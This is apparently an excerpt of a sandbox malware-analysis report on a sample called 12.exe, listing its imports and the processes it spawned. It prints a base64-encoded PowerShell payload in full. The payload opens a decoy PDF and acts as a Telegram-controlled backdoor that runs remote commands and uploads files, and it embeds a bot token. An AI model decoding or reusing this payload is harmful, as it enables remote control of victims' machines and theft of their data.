.reloc	0x3d000	0x960	0xa00	41784215a8e29e2be4bfc51218173d3f	False	0.498828125	data	5.324888411724977	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x3c060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

InitializeCriticalSectionEx, WaitForSingleObject, GetLastError, CloseHandle, DecodePointer, DeleteCriticalSection, CreateProcessW, SetEndOfFile, WriteConsoleW, SetStdHandle, LocalFree, FormatMessageA, GetLocaleInfoEx, CreateFileW, FindClose, FindFirstFileExW, FindNextFileW, GetFileAttributesW, GetTempPathW, AreFileApisANSI, GetModuleHandleW, GetProcAddress, MultiByteToWideChar, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, EncodePointer, LCMapStringEx, GetStringTypeW, GetCPInfo, IsDebuggerPresent, OutputDebugStringW, RaiseException, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwindEx, RtlPcToFileHeader, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, GetStdHandle, WriteFile, GetFileSizeEx, SetFilePointerEx, GetFileType, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, HeapFree, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, ReadFile, ReadConsoleW, HeapReAlloc, HeapSize, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, RtlUnwind

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Target ID:	0
Start time:	03:54:59
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\12.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\12.exe"
Imagebase:	0x7ff767ef0000
File size:	232'448 bytes
MD5 hash:	90F2CA0A38D6E5416EE2F6BE6326521D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	03:54:59
Start date:	14/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAVQBSAEkAIAA+ACAAJABuAHUAbABsAA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQARgBpAGwAZQBQAGEAdABoAA0ACgAgACAAIAAgACkADQAKACAAIAAgACAAQQBkAGQALQB0AHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAA0ACgAgACAAIAAgACQARgBpAGUAbABkAE4AYQBtAGUAIAA9ACAAJwBkAG8AYwB1AG0AZQBuAHQAJwANAAoAIAAgACAAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAALgBIAHQAdABwAEMAbABpAGUAbgB0AEgAYQBuAGQAbABlAHIADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAEgAdAB0AHAAYwBsAGkAZQBuAHQAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgANAAoADQAKACAAIAAgACAAJABGAGkAbABlAFMAdAByAGUAYQBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAFMAdAByAGUAYQBtAF0AOgA6AG4AZQB3ACgAJABGAGkAbABlAFAAYQB0AGgALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAE0AbwBkAGUAXQA6ADoATwBwAGUAbgApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQARABpAHMAcABvAHMAaQB0AGkAbwBuAEgAZQBhAGQAZQByAFYAYQBsAHUAZQBdADoAOgBuAGUAdwAoACcAZgBvAHIAbQAtAGQAYQB0AGEAJwApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAuAE4AYQBtAGUAIAA9ACAAJABGAGkAZQBsAGQATgBhAG0AZQANAAoAIAAgACAAIAAkAEYAaQBsAGUASABlAGEAZABlAHIALgBGAGkAbABlAE4AYQBtAGUAIAA9ACAAKABTAHAAbABpAHQALQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAtAGwAZQBhAGYAKQANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4AUwB0AHIAZQBhAG0AQwBvAG4AdABlAG4AdABdADoAOgBuAGUAdwAoACQARgBpAGwAZQBTAHQAcgBlAGEAbQApAA0ACgAgACAAIAAgACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0AC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQARABpAHMAcABvAHMAaQB0AGkAbwBuACAAPQAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAuAEgAZQBhAGQAZQByAHMALgBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFcAZQBiAC4ATQBpAG0AZQBNAGEAcABwAGkAbgBnAF0AOgA6AEcAZQB0AE0AaQBtAGUATQBhAHAAcABpAG4AZwAoACQARgBpAGwAZQBQAGEAdABoACkAIAANAAoAIAAgACAAIAANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAE0AdQBsAHQAaQBwAGEAcgB0AEYAbwByAG0ARABhAHQAYQBDAG8AbgB0AGUAbgB0AF0AOgA6AG4AZQB3ACgAKQANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQALgBBAGQAZAAoACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0ACkADQAKACAAIAAgACAADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0AC4AUABvAHMAdABBAHMAeQBuAGMAKAAiACQAVQBSAEwALwBzAGUAbgBkAEQAbwBjAHUAbQBlAG4AdAA/AGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AIgAsACAAJABNAHUAbAB0AGkAcABhAHIAdABDAG8AbgB0AGUAbgB0ACkAIAA+ACAAJABuAHUAbABsAA0ACgB9AA0ACgANAAoAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsADQAKACAAIAAgACAAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBNAGUAdABoAG8AZAAgAEcAZQB0ACAALQBVAHIAaQAgACgAJABVAFIATAAgACsAJwAvAGcAZQB0AFUAcABkAGEAdABlAHMAPwBvAGYAZgBzAGUAdAA9ACcAIAArACAAKAAkAGwAYQBzAHQASQBEACAAKwAgADEAKQApACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAYwBhAHQAYwBoACAAewANAAoAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgACQAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGEAeABpAG0AdQBtACAAMQAwACkAIAANAAoAIAAgACAAIAAgACAAIAAgAGMAbwBuAHQAaQBuAHUAZQANAAoAIAAgACAAIAB9AA0ACgAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUALgByAGUAcwB1AGwAdAAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAB1AHAAZABhAHQAZQBpAGQAIAA9ACAAJABfAC4AdQBwAGQAYQB0AGUAXwBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGYAcgBvAG0AIAA9ACAAJABfAC4AbQBlAHMAcwBhAGcAZQAuAGYAcgBvAG0ALgBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAXwAuAG0AZQBzAHMAYQBnAGUALgB0AGUAeAB0ACkAKQANAAoADQAKACAAIAAgACAAIAAgACAAIABpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADYAKQAgAC0AZQBxACAAIgAvAHMAbABlAGUAcAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIABbAGkAbgB0AF0AJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADQAKQAgAC0AZQBxACAAIgAvAGMAbQBkACIAKQB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA1ACkAIAAgACAAIAAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AQgBvAHQAQwBtAGQAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAGMAbwBtAG0AYQBuAGQADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADkAKQAgAC0AZQBxACAAIgAvAGQAbwB3AG4AbABvAGEAZAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABGAGkAbABlAFAAYQB0AGgAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAxADAAKQAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG0AZAAgAD0AIAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADEALAAgADUAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABpAGQAZQBuAHQAaQBmAGkAZQByACAALQBlAHEAIAAkAGMAbQBkACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAC0AYwBvAG0AbQBhAG4AZAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUwBMAEUARQBQACIADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAJAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAE0AYQB4AGkAbQB1AG0AIAAxADAAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAkAHMAbABlAGUAcABUAGkAbQBlAA0ACgB9AA=='"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	03:54:59
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	03:55:02
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\file.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	03:55:02
Start date:	14/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAVQBSAEkAIAA+ACAAJABuAHUAbABsAA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQARgBpAGwAZQBQAGEAdABoAA0ACgAgACAAIAAgACkADQAKACAAIAAgACAAQQBkAGQALQB0AHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAA0ACgAgACAAIAAgACQARgBpAGUAbABkAE4AYQBtAGUAIAA9ACAAJwBkAG8AYwB1AG0AZQBuAHQAJwANAAoAIAAgACAAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAALgBIAHQAdABwAEMAbABpAGUAbgB0AEgAYQBuAGQAbABlAHIADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAEgAdAB0AHAAYwBsAGkAZQBuAHQAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgANAAoADQAKACAAIAAgACAAJABGAGkAbABlAFMAdAByAGUAYQBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAFMAdAByAGUAYQBtAF0AOgA6AG4AZQB3ACgAJABGAGkAbABlAFAAYQB0AGgALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAE0AbwBkAGUAXQA6ADoATwBwAGUAbgApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQARABpAHMAcABvAHMAaQB0AGkAbwBuAEgAZQBhAGQAZQByAFYAYQBsAHUAZQBdADoAOgBuAGUAdwAoACcAZgBvAHIAbQAtAGQAYQB0AGEAJwApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAuAE4AYQBtAGUAIAA9ACAAJABGAGkAZQBsAGQATgBhAG0AZQANAAoAIAAg